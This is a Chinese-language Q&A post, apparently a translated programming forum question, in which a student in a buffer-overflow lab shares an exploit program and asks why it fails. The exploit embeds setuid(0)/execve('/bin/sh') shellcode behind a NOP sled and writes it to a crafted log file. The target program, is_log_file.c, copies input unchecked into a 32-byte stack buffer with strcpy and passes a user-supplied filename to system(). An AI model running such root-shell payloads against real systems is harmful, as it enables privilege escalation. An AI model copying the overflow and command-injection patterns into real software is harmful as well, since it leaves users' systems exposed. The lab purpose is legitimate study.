缓冲区溢出漏洞，创建错误文件并将其传递给程序

问：

我正在使用缓冲区溢出漏洞来理解它。我得到了一个名为 is_log_file.c 的程序来测试我在上面编写的 buf_exploit.c 程序。我正在尝试编写一个名为 exploit.c 的程序，该程序不带任何参数并写入恶意日志文件。此恶意日志文件将作为is_log_file程序的参数提供，它应该利用缓冲区溢出来提供根访问权限。程序应该在不崩溃或不干净的情况下这样做。

is_log_file.c 采用文件名并验证它是否符合定义的日志文件格式 在文件中

buf_exploit.c 的代码如下：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFER_SIZE 1024
#define NOP 0x90

char shellcode[]=
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"  // setuid(0);
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"  // setgid(0);
"\x31\xc0"          /* xorl         %eax,%eax               */
"\x50"              /* pushl        %eax                    */
"\x68""//sh"        /* pushl        $0x68732f2f             */
"\x68""/bin"        /* pushl        $0x6e69622f             */
"\x89\xe3"          /* movl         %esp,%ebx               */
"\x50"              /* pushl        %eax                    */
"\x53"              /* pushl        %ebx                    */
"\x89\xe1"          /* movl         %esp,%ecx               */
"\x99"              /* cdq                                  */
"\xb0\x0b"          /* movb         $0x0b,%al               */
"\xcd\x80"          /* int          $0x80                   */
;

int main() {
   char buffer[BUFFER_SIZE];
   char *log_file = "malicious_log_file";
   FILE *fp;

   // Fill the buffer with NOP instructions
   memset(buffer, NOP, BUFFER_SIZE);

   // Copy the shellcode into the buffer
   memcpy(buffer + (BUFFER_SIZE - sizeof(shellcode)), shellcode, sizeof(shellcode));

   // Write the buffer to the log file
   fp = fopen(log_file, "w");
   fwrite(buffer,BUFFER_SIZE, 1, fp);
   fclose(fp);

   // Execute the is_log_file program with the malicious log file as an argument
  //system("./is_log_file malicious_log_file");

   return 0;
}

is_log_file代码：

/* 
 Buffer Overflow Lab

 Program that verifies that the argument is a valid log file

*/ 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify(char *buffer) {
 char local_buf[32];
 //printf("%p\n", local_buf);
 char VALID_SIGNATURE[23] = "LOG_FILE VERSION_CODE=";
 int rv = 0;

 //valid log file should contain VALID_SIGNATURE
 strcpy(local_buf, buffer);
 rv = strncmp(VALID_SIGNATURE, local_buf, strlen(VALID_SIGNATURE));
 if ( rv == 0)
   return 1;
 return 0;
}

int main(int argc, char ** argv) {

 char command[256] = "./file_exists ";
 char buffer[1024];
 FILE *file = NULL;
 int rv = 0;

 //Verify the number of arguments
 if (argc != 2) {
   printf("Usage: %s <file-to-test>\n", argv[0]);
   return 0;
 }

 //Verify the supplied file exists
 strncat(command, argv[1], 244);
 rv = system(command);
 if (rv <= 0) {
   printf("%s does not exist\n", argv[1]);
   return 0;
 }
 
 //read file
 if ((file = fopen(argv[1], "r")) == NULL) {
   printf("File read error\n");
   return 0;
 }
 fscanf(file,"%[^\n]", buffer);
 fclose(file);

 if (verify(buffer) == 1)
   printf("Valid!!!\n");
 else
   printf("Invalid!!!\n");
 
}   

buf_exploit.c 运行没有错误，但是当我运行 ./is_log_file 恶意_log_file它出现错误时，我将不胜感激地帮助代码工作。代码是用 C 语言编写的